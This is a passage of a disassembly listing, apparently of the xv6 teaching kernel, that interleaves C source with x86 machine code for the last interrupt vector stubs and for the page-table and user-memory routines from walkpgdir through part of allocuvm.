80106651: 68 fa 00 00 00 push $0xfa jmp alltraps 80106656: e9 ec f0 ff ff jmp 80105747 <alltraps> 8010665b <vector251>: .globl vector251 vector251: pushl $0 8010665b: 6a 00 push $0x0 pushl $251 8010665d: 68 fb 00 00 00 push $0xfb jmp alltraps 80106662: e9 e0 f0 ff ff jmp 80105747 <alltraps> 80106667 <vector252>: .globl vector252 vector252: pushl $0 80106667: 6a 00 push $0x0 pushl $252 80106669: 68 fc 00 00 00 push $0xfc jmp alltraps 8010666e: e9 d4 f0 ff ff jmp 80105747 <alltraps> 80106673 <vector253>: .globl vector253 vector253: pushl $0 80106673: 6a 00 push $0x0 pushl $253 80106675: 68 fd 00 00 00 push $0xfd jmp alltraps 8010667a: e9 c8 f0 ff ff jmp 80105747 <alltraps> 8010667f <vector254>: .globl vector254 vector254: pushl $0 8010667f: 6a 00 push $0x0 pushl $254 80106681: 68 fe 00 00 00 push $0xfe jmp alltraps 80106686: e9 bc f0 ff ff jmp 80105747 <alltraps> 8010668b <vector255>: .globl vector255 vector255: pushl $0 8010668b: 6a 00 push $0x0 pushl $255 8010668d: 68 ff 00 00 00 push $0xff jmp alltraps 80106692: e9 b0 f0 ff ff jmp 80105747 <alltraps> 80106697: 66 90 xchg %ax,%ax 80106699: 66 90 xchg %ax,%ax 8010669b: 66 90 xchg %ax,%ax 8010669d: 66 90 xchg %ax,%ax 8010669f: 90 nop 801066a0 <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 801066a0: 55 push %ebp 801066a1: 89 e5 mov %esp,%ebp 801066a3: 57 push %edi 801066a4: 56 push %esi 801066a5: 53 push %ebx pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 801066a6: 89 d3 mov %edx,%ebx { 801066a8: 89 d7 mov %edx,%edi pde = &pgdir[PDX(va)]; 801066aa: c1 eb 16 shr $0x16,%ebx 801066ad: 8d 34 98 lea (%eax,%ebx,4),%esi { 801066b0: 83 ec 0c sub $0xc,%esp if(*pde & PTE_P){ 801066b3: 8b 06 mov (%esi),%eax 801066b5: a8 01 test $0x1,%al 801066b7: 74 27 je 801066e0 <walkpgdir+0x40> pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); 801066b9: 25 00 f0 ff ff and $0xfffff000,%eax 801066be: 8d 98 00 00 00 80 lea -0x80000000(%eax),%ebx // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; 801066c4: c1 ef 0a shr $0xa,%edi } 801066c7: 8d 65 f4 lea -0xc(%ebp),%esp return &pgtab[PTX(va)]; 801066ca: 89 fa mov %edi,%edx 801066cc: 81 e2 fc 0f 00 00 and $0xffc,%edx 801066d2: 8d 04 13 lea (%ebx,%edx,1),%eax } 801066d5: 5b pop %ebx 801066d6: 5e pop %esi 801066d7: 5f pop %edi 801066d8: 5d pop %ebp 801066d9: c3 ret 801066da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 801066e0: 85 c9 test %ecx,%ecx 801066e2: 74 2c je 80106710 <walkpgdir+0x70> 801066e4: e8 d7 bd ff ff call 801024c0 <kalloc> 801066e9: 85 c0 test %eax,%eax 801066eb: 89 c3 mov %eax,%ebx 801066ed: 74 21 je 80106710 <walkpgdir+0x70> memset(pgtab, 0, PGSIZE); 801066ef: 83 ec 04 sub $0x4,%esp 801066f2: 68 00 10 00 00 push $0x1000 801066f7: 6a 00 push $0x0 801066f9: 50 push %eax 801066fa: e8 21 de ff ff call 80104520 <memset> *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; 801066ff: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106705: 83 c4 10 add $0x10,%esp 80106708: 83 c8 07 or $0x7,%eax 8010670b: 89 06 mov %eax,(%esi) 8010670d: eb b5 jmp 801066c4 <walkpgdir+0x24> 8010670f: 90 nop } 80106710: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106713: 31 c0 xor %eax,%eax } 80106715: 5b pop %ebx 80106716: 5e pop %esi 80106717: 5f pop %edi 80106718: 5d pop %ebp 80106719: c3 ret 8010671a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106720 <mappages>: // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 80106720: 55 push %ebp 80106721: 89 e5 mov %esp,%ebp 80106723: 57 push %edi 80106724: 56 push %esi 80106725: 53 push %ebx char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); 80106726: 89 d3 mov %edx,%ebx 80106728: 81 e3 00 f0 ff ff and $0xfffff000,%ebx { 8010672e: 83 ec 1c sub $0x1c,%esp 80106731: 89 45 e4 mov %eax,-0x1c(%ebp) last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 80106734: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax 80106738: 8b 7d 08 mov 0x8(%ebp),%edi 8010673b: 25 00 f0 ff ff and $0xfffff000,%eax 80106740: 89 45 e0 mov %eax,-0x20(%ebp) for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); *pte = pa | perm | PTE_P; 80106743: 8b 45 0c mov 0xc(%ebp),%eax 80106746: 29 df sub %ebx,%edi 80106748: 83 c8 01 or $0x1,%eax 8010674b: 89 45 dc mov %eax,-0x24(%ebp) 8010674e: eb 15 jmp 80106765 <mappages+0x45> if(*pte & PTE_P) 80106750: f6 00 01 testb $0x1,(%eax) 80106753: 75 45 jne 8010679a <mappages+0x7a> *pte = pa | perm | PTE_P; 80106755: 0b 75 dc or -0x24(%ebp),%esi if(a == last) 80106758: 3b 5d e0 cmp -0x20(%ebp),%ebx *pte = pa | perm | PTE_P; 8010675b: 89 30 mov %esi,(%eax) if(a == last) 8010675d: 74 31 je 80106790 <mappages+0x70> break; a += PGSIZE; 8010675f: 81 c3 00 10 00 00 add $0x1000,%ebx if((pte = walkpgdir(pgdir, a, 1)) == 0) 80106765: 8b 45 e4 mov -0x1c(%ebp),%eax 80106768: b9 01 00 00 00 mov $0x1,%ecx 8010676d: 89 da mov %ebx,%edx 8010676f: 8d 34 3b lea (%ebx,%edi,1),%esi 80106772: e8 29 ff ff ff call 801066a0 <walkpgdir> 80106777: 85 c0 test %eax,%eax 80106779: 75 d5 jne 80106750 <mappages+0x30> pa += PGSIZE; } return 0; } 8010677b: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 8010677e: b8 ff ff ff ff mov $0xffffffff,%eax } 80106783: 5b pop %ebx 80106784: 5e pop %esi 80106785: 5f pop %edi 80106786: 5d pop %ebp 80106787: c3 ret 80106788: 90 nop 80106789: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106790: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106793: 31 c0 xor %eax,%eax } 80106795: 5b pop %ebx 80106796: 5e pop %esi 80106797: 5f pop %edi 80106798: 5d pop %ebp 80106799: c3 ret panic("remap"); 8010679a: 83 ec 0c sub $0xc,%esp 8010679d: 68 10 79 10 80 push $0x80107910 801067a2: e8 e9 9b ff ff call 80100390 <panic> 801067a7: 89 f6 mov %esi,%esi 801067a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801067b0 <deallocuvm.part.0>: // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801067b0: 55 push %ebp 801067b1: 89 e5 mov %esp,%ebp 801067b3: 57 push %edi 801067b4: 56 push %esi 801067b5: 53 push %ebx uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 801067b6: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801067bc: 89 c7 mov %eax,%edi a = PGROUNDUP(newsz); 801067be: 81 e3 00 f0 ff ff and $0xfffff000,%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801067c4: 83 ec 1c sub $0x1c,%esp 801067c7: 89 4d e0 mov %ecx,-0x20(%ebp) for(; a < oldsz; a += PGSIZE){ 801067ca: 39 d3 cmp %edx,%ebx 801067cc: 73 66 jae 80106834 <deallocuvm.part.0+0x84> 801067ce: 89 d6 mov %edx,%esi 801067d0: eb 3d jmp 8010680f <deallocuvm.part.0+0x5f> 801067d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pte = walkpgdir(pgdir, (char*)a, 0); if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ 801067d8: 8b 10 mov (%eax),%edx 801067da: f6 c2 01 test $0x1,%dl 801067dd: 74 26 je 80106805 <deallocuvm.part.0+0x55> pa = PTE_ADDR(*pte); if(pa == 0) 801067df: 81 e2 00 f0 ff ff and $0xfffff000,%edx 801067e5: 74 58 je 8010683f <deallocuvm.part.0+0x8f> panic("kfree"); char *v = P2V(pa); kfree(v); 801067e7: 83 ec 0c sub $0xc,%esp char *v = P2V(pa); 801067ea: 81 c2 00 00 00 80 add $0x80000000,%edx 801067f0: 89 45 e4 mov %eax,-0x1c(%ebp) kfree(v); 801067f3: 52 push %edx 801067f4: e8 17 bb ff ff call 80102310 <kfree> *pte = 0; 801067f9: 8b 45 e4 mov -0x1c(%ebp),%eax 801067fc: 83 c4 10 add $0x10,%esp 801067ff: c7 00 00 00 00 00 movl $0x0,(%eax) for(; a < oldsz; a += PGSIZE){ 80106805: 81 c3 00 10 00 00 add $0x1000,%ebx 8010680b: 39 f3 cmp %esi,%ebx 8010680d: 73 25 jae 80106834 <deallocuvm.part.0+0x84> pte = walkpgdir(pgdir, (char*)a, 0); 8010680f: 31 c9 xor %ecx,%ecx 80106811: 89 da mov %ebx,%edx 80106813: 89 f8 mov %edi,%eax 80106815: e8 86 fe ff ff call 801066a0 <walkpgdir> if(!pte) 8010681a: 85 c0 test %eax,%eax 8010681c: 75 ba jne 801067d8 <deallocuvm.part.0+0x28> a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; 8010681e: 81 e3 00 00 c0 ff and $0xffc00000,%ebx 80106824: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx for(; a < oldsz; a += PGSIZE){ 8010682a: 81 c3 00 10 00 00 add $0x1000,%ebx 80106830: 39 f3 cmp %esi,%ebx 80106832: 72 db jb 8010680f <deallocuvm.part.0+0x5f> } } return newsz; } 80106834: 8b 45 e0 mov -0x20(%ebp),%eax 80106837: 8d 65 f4 lea -0xc(%ebp),%esp 8010683a: 5b pop %ebx 8010683b: 5e pop %esi 8010683c: 5f pop %edi 8010683d: 5d pop %ebp 8010683e: c3 ret panic("kfree"); 8010683f: 83 ec 0c sub $0xc,%esp 80106842: 68 46 72 10 80 push $0x80107246 80106847: e8 44 9b ff ff call 80100390 <panic> 8010684c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106850 <seginit>: { 80106850: 55 push %ebp 80106851: 89 e5 mov %esp,%ebp 80106853: 83 ec 18 sub $0x18,%esp c = &cpus[cpuid()]; 80106856: e8 65 cf ff ff call 801037c0 <cpuid> 8010685b: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax pd[0] = size-1; 80106861: ba 2f 00 00 00 mov $0x2f,%edx 80106866: 66 89 55 f2 mov %dx,-0xe(%ebp) c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 8010686a: c7 80 f8 27 11 80 ff movl $0xffff,-0x7feed808(%eax) 80106871: ff 00 00 80106874: c7 80 fc 27 11 80 00 movl $0xcf9a00,-0x7feed804(%eax) 8010687b: 9a cf 00 c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 8010687e: c7 80 00 28 11 80 ff movl $0xffff,-0x7feed800(%eax) 80106885: ff 00 00 80106888: c7 80 04 28 11 80 00 movl $0xcf9200,-0x7feed7fc(%eax) 8010688f: 92 cf 00 c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106892: c7 80 08 28 11 80 ff movl $0xffff,-0x7feed7f8(%eax) 80106899: ff 00 00 8010689c: c7 80 0c 28 11 80 00 movl $0xcffa00,-0x7feed7f4(%eax) 801068a3: fa cf 00 c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 801068a6: c7 80 10 28 11 80 ff movl $0xffff,-0x7feed7f0(%eax) 801068ad: ff 00 00 801068b0: c7 80 14 28 11 80 00 movl $0xcff200,-0x7feed7ec(%eax) 801068b7: f2 cf 00 lgdt(c->gdt, sizeof(c->gdt)); 801068ba: 05 f0 27 11 80 add $0x801127f0,%eax pd[1] = (uint)p; 801068bf: 66 89 45 f4 mov %ax,-0xc(%ebp) pd[2] = (uint)p >> 16; 801068c3: c1 e8 10 shr $0x10,%eax 801068c6: 66 89 45 f6 mov %ax,-0xa(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 801068ca: 8d 45 f2 lea -0xe(%ebp),%eax 801068cd: 0f 01 10 lgdtl (%eax) } 801068d0: c9 leave 801068d1: c3 ret 801068d2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801068d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801068e0 <switchkvm>: lcr3(V2P(kpgdir)); // switch to the kernel page table 801068e0: a1 a4 54 11 80 mov 0x801154a4,%eax { 801068e5: 55 push %ebp 801068e6: 89 e5 mov %esp,%ebp lcr3(V2P(kpgdir)); // switch to the kernel page table 801068e8: 05 00 00 00 80 add $0x80000000,%eax } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 801068ed: 0f 22 d8 mov %eax,%cr3 } 801068f0: 5d pop %ebp 801068f1: c3 ret 801068f2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801068f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106900 <switchuvm>: { 80106900: 55 push %ebp 80106901: 89 e5 mov %esp,%ebp 80106903: 57 push %edi 80106904: 56 push %esi 80106905: 53 push %ebx 80106906: 83 ec 1c sub $0x1c,%esp 80106909: 8b 5d 08 mov 0x8(%ebp),%ebx if(p == 0) 8010690c: 85 db test %ebx,%ebx 8010690e: 0f 84 cb 00 00 00 je 801069df <switchuvm+0xdf> if(p->kstack == 0) 80106914: 8b 43 08 mov 0x8(%ebx),%eax 80106917: 85 c0 test %eax,%eax 80106919: 0f 84 da 00 00 00 je 801069f9 <switchuvm+0xf9> if(p->pgdir == 0) 8010691f: 8b 43 04 mov 0x4(%ebx),%eax 80106922: 85 c0 test %eax,%eax 80106924: 0f 84 c2 00 00 00 je 801069ec <switchuvm+0xec> pushcli(); 8010692a: e8 11 da ff ff call 80104340 <pushcli> mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 8010692f: e8 0c ce ff ff call 80103740 <mycpu> 80106934: 89 c6 mov %eax,%esi 80106936: e8 05 ce ff ff call 80103740 <mycpu> 8010693b: 89 c7 mov %eax,%edi 8010693d: e8 fe cd ff ff call 80103740 <mycpu> 80106942: 89 45 e4 mov %eax,-0x1c(%ebp) 80106945: 83 c7 08 add $0x8,%edi 80106948: e8 f3 cd ff ff call 80103740 <mycpu> 8010694d: 8b 4d e4 mov -0x1c(%ebp),%ecx 80106950: 83 c0 08 add $0x8,%eax 80106953: ba 67 00 00 00 mov $0x67,%edx 80106958: c1 e8 18 shr $0x18,%eax 8010695b: 66 89 96 98 00 00 00 mov %dx,0x98(%esi) 80106962: 66 89 be 9a 00 00 00 mov %di,0x9a(%esi) 80106969: 88 86 9f 00 00 00 mov %al,0x9f(%esi) mycpu()->ts.iomb = (ushort) 0xFFFF; 8010696f: bf ff ff ff ff mov $0xffffffff,%edi mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 80106974: 83 c1 08 add $0x8,%ecx 80106977: c1 e9 10 shr $0x10,%ecx 8010697a: 88 8e 9c 00 00 00 mov %cl,0x9c(%esi) 80106980: b9 99 40 00 00 mov $0x4099,%ecx 80106985: 66 89 8e 9d 00 00 00 mov %cx,0x9d(%esi) mycpu()->ts.ss0 = SEG_KDATA << 3; 8010698c: be 10 00 00 00 mov $0x10,%esi mycpu()->gdt[SEG_TSS].s = 0; 80106991: e8 aa cd ff ff call 80103740 <mycpu> 80106996: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax) mycpu()->ts.ss0 = SEG_KDATA << 3; 8010699d: e8 9e cd ff ff call 80103740 <mycpu> 801069a2: 66 89 70 10 mov %si,0x10(%eax) mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; 801069a6: 8b 73 08 mov 0x8(%ebx),%esi 801069a9: e8 92 cd ff ff call 80103740 <mycpu> 801069ae: 81 c6 00 10 00 00 add $0x1000,%esi 801069b4: 89 70 0c mov %esi,0xc(%eax) mycpu()->ts.iomb = (ushort) 0xFFFF; 801069b7: e8 84 cd ff ff call 80103740 <mycpu> 801069bc: 66 89 78 6e mov %di,0x6e(%eax) asm volatile("ltr %0" : : "r" (sel)); 801069c0: b8 28 00 00 00 mov $0x28,%eax 801069c5: 0f 00 d8 ltr %ax lcr3(V2P(p->pgdir)); // switch to process's address space 801069c8: 8b 43 04 mov 0x4(%ebx),%eax 801069cb: 05 00 00 00 80 add $0x80000000,%eax asm volatile("movl %0,%%cr3" : : "r" (val)); 801069d0: 0f 22 d8 mov %eax,%cr3 } 801069d3: 8d 65 f4 lea -0xc(%ebp),%esp 801069d6: 5b pop %ebx 801069d7: 5e pop %esi 801069d8: 5f pop %edi 801069d9: 5d pop %ebp popcli(); 801069da: e9 a1 d9 ff ff jmp 80104380 <popcli> panic("switchuvm: no process"); 801069df: 83 ec 0c sub $0xc,%esp 801069e2: 68 16 79 10 80 push $0x80107916 801069e7: e8 a4 99 ff ff call 80100390 <panic> panic("switchuvm: no pgdir"); 801069ec: 83 ec 0c sub $0xc,%esp 801069ef: 68 41 79 10 80 push $0x80107941 801069f4: e8 97 99 ff ff call 80100390 <panic> panic("switchuvm: no kstack"); 801069f9: 83 ec 0c sub $0xc,%esp 801069fc: 68 2c 79 10 80 push $0x8010792c 80106a01: e8 8a 99 ff ff call 80100390 <panic> 80106a06: 8d 76 00 lea 0x0(%esi),%esi 80106a09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106a10 <inituvm>: { 80106a10: 55 push %ebp 80106a11: 89 e5 mov %esp,%ebp 80106a13: 57 push %edi 80106a14: 56 push %esi 80106a15: 53 push %ebx 80106a16: 83 ec 1c sub $0x1c,%esp 80106a19: 8b 75 10 mov 0x10(%ebp),%esi 80106a1c: 8b 45 08 mov 0x8(%ebp),%eax 80106a1f: 8b 7d 0c mov 0xc(%ebp),%edi if(sz >= PGSIZE) 80106a22: 81 fe ff 0f 00 00 cmp $0xfff,%esi { 80106a28: 89 45 e4 mov %eax,-0x1c(%ebp) if(sz >= PGSIZE) 80106a2b: 77 49 ja 80106a76 <inituvm+0x66> mem = kalloc(); 80106a2d: e8 8e ba ff ff call 801024c0 <kalloc> memset(mem, 0, PGSIZE); 80106a32: 83 ec 04 sub $0x4,%esp mem = kalloc(); 80106a35: 89 c3 mov %eax,%ebx memset(mem, 0, PGSIZE); 80106a37: 68 00 10 00 00 push $0x1000 80106a3c: 6a 00 push $0x0 80106a3e: 50 push %eax 80106a3f: e8 dc da ff ff call 80104520 <memset> mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); 80106a44: 58 pop %eax 80106a45: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 80106a4b: b9 00 10 00 00 mov $0x1000,%ecx 80106a50: 5a pop %edx 80106a51: 6a 06 push $0x6 80106a53: 50 push %eax 80106a54: 31 d2 xor %edx,%edx 80106a56: 8b 45 e4 mov -0x1c(%ebp),%eax 80106a59: e8 c2 fc ff ff call 80106720 <mappages> memmove(mem, init, sz); 80106a5e: 89 75 10 mov %esi,0x10(%ebp) 80106a61: 89 7d 0c mov %edi,0xc(%ebp) 80106a64: 83 c4 10 add $0x10,%esp 80106a67: 89 5d 08 mov %ebx,0x8(%ebp) } 80106a6a: 8d 65 f4 lea -0xc(%ebp),%esp 80106a6d: 5b pop %ebx 80106a6e: 5e pop %esi 80106a6f: 5f pop %edi 80106a70: 5d pop %ebp memmove(mem, init, sz); 80106a71: e9 5a db ff ff jmp 801045d0 <memmove> panic("inituvm: more than a page"); 80106a76: 83 ec 0c sub $0xc,%esp 80106a79: 68 55 79 10 80 push $0x80107955 80106a7e: e8 0d 99 ff ff call 80100390 <panic> 80106a83: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106a89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106a90 <loaduvm>: { 80106a90: 55 push %ebp 80106a91: 89 e5 mov %esp,%ebp 80106a93: 57 push %edi 80106a94: 56 push %esi 80106a95: 53 push %ebx 80106a96: 83 ec 0c sub $0xc,%esp if((uint) addr % PGSIZE != 0) 80106a99: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp) 80106aa0: 0f 85 91 00 00 00 jne 80106b37 <loaduvm+0xa7> for(i = 0; i < sz; i += PGSIZE){ 80106aa6: 8b 75 18 mov 0x18(%ebp),%esi 80106aa9: 31 db xor %ebx,%ebx 80106aab: 85 f6 test %esi,%esi 80106aad: 75 1a jne 80106ac9 <loaduvm+0x39> 80106aaf: eb 6f jmp 80106b20 <loaduvm+0x90> 80106ab1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106ab8: 81 c3 00 10 00 00 add $0x1000,%ebx 80106abe: 81 ee 00 10 00 00 sub $0x1000,%esi 80106ac4: 39 5d 18 cmp %ebx,0x18(%ebp) 80106ac7: 76 57 jbe 80106b20 <loaduvm+0x90> if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 80106ac9: 8b 55 0c mov 0xc(%ebp),%edx 80106acc: 8b 45 08 mov 0x8(%ebp),%eax 80106acf: 31 c9 xor %ecx,%ecx 80106ad1: 01 da add %ebx,%edx 80106ad3: e8 c8 fb ff ff call 801066a0 <walkpgdir> 80106ad8: 85 c0 test %eax,%eax 80106ada: 74 4e je 80106b2a <loaduvm+0x9a> pa = PTE_ADDR(*pte); 80106adc: 8b 00 mov (%eax),%eax if(readi(ip, P2V(pa), offset+i, n) != n) 80106ade: 8b 4d 14 mov 0x14(%ebp),%ecx if(sz - i < PGSIZE) 80106ae1: bf 00 10 00 00 mov $0x1000,%edi pa = PTE_ADDR(*pte); 80106ae6: 25 00 f0 ff ff and $0xfffff000,%eax if(sz - i < PGSIZE) 80106aeb: 81 fe ff 0f 00 00 cmp $0xfff,%esi 80106af1: 0f 46 fe cmovbe %esi,%edi if(readi(ip, P2V(pa), offset+i, n) != n) 80106af4: 01 d9 add %ebx,%ecx 80106af6: 05 00 00 00 80 add $0x80000000,%eax 80106afb: 57 push %edi 80106afc: 51 push %ecx 80106afd: 50 push %eax 80106afe: ff 75 10 pushl 0x10(%ebp) 80106b01: e8 5a ae ff ff call 80101960 <readi> 80106b06: 83 c4 10 add $0x10,%esp 80106b09: 39 f8 cmp %edi,%eax 80106b0b: 74 ab je 80106ab8 <loaduvm+0x28> } 80106b0d: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80106b10: b8 ff ff ff ff mov $0xffffffff,%eax } 80106b15: 5b pop %ebx 80106b16: 5e pop %esi 80106b17: 5f pop %edi 80106b18: 5d pop %ebp 80106b19: c3 ret 80106b1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106b20: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106b23: 31 c0 xor %eax,%eax } 80106b25: 5b pop %ebx 80106b26: 5e pop %esi 80106b27: 5f pop %edi 80106b28: 5d pop %ebp 80106b29: c3 ret panic("loaduvm: address should exist"); 80106b2a: 83 ec 0c sub $0xc,%esp 80106b2d: 68 6f 79 10 80 push $0x8010796f 80106b32: e8 59 98 ff ff call 80100390 <panic> panic("loaduvm: addr must be page aligned"); 80106b37: 83 ec 0c sub $0xc,%esp 80106b3a: 68 10 7a 10 80 push $0x80107a10 80106b3f: e8 4c 98 ff ff call 80100390 <panic> 80106b44: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80106b4a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106b50 <allocuvm>: { 80106b50: 55 push %ebp 80106b51: 89 e5 mov %esp,%ebp 80106b53: 57 push %edi 80106b54: 56 push %esi 80106b55: 53 push %ebx 80106b56: 83 ec 1c sub $0x1c,%esp if(newsz >= KERNBASE) 80106b59: 8b 7d 10 mov 0x10(%ebp),%edi 80106b5c: 85 ff test %edi,%edi 80106b5e: 0f 88 8e 00 00 00 js 80106bf2 <allocuvm+0xa2> if(newsz < oldsz) 80106b64: 3b 7d 0c cmp 0xc(%ebp),%edi 80106b67: 0f 82 93 00 00 00 jb 80106c00 <allocuvm+0xb0> a = PGROUNDUP(oldsz); 80106b6d: 8b 45 0c mov 0xc(%ebp),%eax 80106b70: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 80106b76: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < newsz; a += PGSIZE){ 80106b7c: 39 5d 10 cmp %ebx,0x10(%ebp) 80106b7f: 0f 86 7e 00 00 00 jbe 80106c03 <allocuvm+0xb3> 80106b85: 89 7d e4 mov %edi,-0x1c(%ebp) 80106b88: 8b 7d 08 mov 0x8(%ebp),%edi 80106b8b: eb 42 jmp 80106bcf <allocuvm+0x7f> 80106b8d: 8d 76 00 lea 0x0(%esi),%esi memset(mem, 0, PGSIZE); 80106b90: 83 ec 04 sub $0x4,%esp 80106b93: 68 00 10 00 00 push $0x1000 80106b98: 6a 00 push $0x0 80106b9a: 50 push %eax 80106b9b: e8 80 d9 ff ff call 80104520 <memset> if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ 80106ba0: 58 pop %eax 80106ba1: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 80106ba7: b9 00 10 00 00 mov $0x1000,%ecx 80106bac: 5a pop %edx 80106bad: 6a 06 push $0x6 80106baf: 50 push %eax 80106bb0: 89 da mov %ebx,%edx 80106bb2: 89 f8 mov %edi,%eax 80106bb4: e8 67 fb ff ff call 80106720 <mappages> 80106bb9: 83 c4 10 add $0x10,%esp 80106bbc: 85 c0 test %eax,%eax 80106bbe: 78 50 js 80106c10 <allocuvm+0xc0> for(; a < newsz; a += PGSIZE){ 80106bc0: 81 c3 00 10 00 00 add $0x1000,%ebx 80106bc6: 39 5d 10 cmp %ebx,0x10(%ebp) 80106bc9: 0f 86 81 00 00 00 jbe 80106c50 <allocuvm+0x100> mem = kalloc(); 80106bcf: e8 ec b8 ff ff call 801024c0 <kalloc> if(mem == 0){ 80106bd4: 85 c0 test %eax,%eax mem = kalloc(); 80106bd6: 89 c6 mov %eax,%esi if(mem == 0){ 80106bd8: 75 b6 jne 80106b90 <allocuvm+0x40> cprintf("allocuvm out of memory\n"); 80106bda: 83 ec 0c sub $0xc,%esp 80106bdd: 68 8d 79 10 80 push $0x8010798d 80106be2: e8 79 9a ff ff call 80100660 <cprintf> if(newsz >= oldsz) 80106be7: 83 c4 10 add $0x10,%esp 80106bea: 8b 45 0c mov 0xc(%ebp),%eax 80106bed: 39 45 10 cmp %eax,0x10(%ebp) 80106bf0: 77 6e ja 80106c60 <allocuvm+0x110> } 80106bf2: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 80106bf5: 31 ff xor %edi,%edi } 80106bf7: 89 f8 mov %edi,%eax 80106bf9: 5b pop %ebx 80106bfa: 5e pop %esi 80106bfb: 5f pop %edi 80106bfc: 5d pop %ebp 80106bfd: c3 ret 80106bfe: 66 90 xchg %ax,%ax return oldsz; 80106c00: 8b 7d 0c mov 0xc(%ebp),%edi } 80106c03: 8d 65 f4 lea -0xc(%ebp),%esp 80106c06: 89 f8 mov %edi,%eax 80106c08: 5b pop %ebx 80106c09: 5e pop %esi 80106c0a: 5f pop %edi 80106c0b: 5d pop %ebp 80106c0c: c3 ret 80106c0d: 8d 76 00 lea 0x0(%esi),%esi cprintf("allocuvm out of memory (2)\n"); 80106c10: 83 ec 0c sub $0xc,%esp 80106c13: 68 a5 79 10 80 push $0x801079a5 80106c18: e8 43 9a ff ff call 80100660 <cprintf> if(newsz >= oldsz) 80106c1d: 83 c4 10 add $0x10,%esp 80106c20: 8b 45 0c mov 0xc(%ebp),%eax 80106c23: 39 45 10 cmp %eax,0x10(%ebp) 80106c26: 76 0d jbe 80106c35 <allocuvm+0xe5> 80106c28: 89 c1 mov %eax,%ecx 80106c2a: 8b 55 10 mov 0x10(%ebp),%edx 80106c2d: 8b 45 08 mov 0x8(%ebp),%eax 80106c30: e8 7b fb ff ff call 801067b0 <deallocuvm.part.0> kfree(mem); 80106c35: 83 ec 0c sub $0xc,%esp return 0; 80106c38: 31 ff xor %edi,%edi kfree(mem); 80106c3a: 56 push %esi 80106c3b: e8 d0 b6 ff ff call 80102310 <kfree> return 0; 80106c40: 83 c4 10 add $0x10,%esp } 80106c43: 8d 65 f4 lea -0xc(%ebp),%esp 80106c46: 89 f8 mov %edi,%eax 80106c48: 